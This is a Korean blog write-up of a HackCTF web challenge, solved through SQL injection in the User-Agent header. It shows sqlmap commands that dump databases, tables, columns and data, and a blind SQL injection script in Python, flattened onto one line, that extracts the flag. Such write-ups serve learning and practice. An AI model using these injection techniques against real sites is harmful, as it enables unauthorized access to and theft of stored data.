해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.
문제에 접근하면 액세스 거부! 라는 글이 보인다.
돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.
나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.
user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.
위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.
여기부터 2가지 방식으로 진행하였다.
방법1. SqlMap 활용 > Time Based SQL Injection
1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs
- user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.
2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables
3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns
4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump
방법 2. Blind SQL Injection
1) 코드
1234567891011121314151617 import urllib2flag = ""url = "http://ctf.j0n9hyun.xyz:2029/"request = urllib2.Request(url)for chr_l in range(1,41):print "[-] find "+ str(chr_l)+"'s letter"binary=''for bin_l in range(1,8):request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")if("color: green;" in urllib2.urlopen(request).read()):binary += '1'else:binary += '0'print binaryflag = flag + ('%x' % int(binary,2)).decode('hex')print flagprint flag2) 결과
'Solve Problem > HackCTF' 카테고리의 다른 글
[HackCTF] LOL (2) | 2019.11.20 |
---|---|
[HackCTF] Secret Document (0) | 2018.12.31 |
[HackCTF] 가위바위보 (0) | 2018.12.28 |
[HackCTF] Secure Login (0) | 2018.12.02 |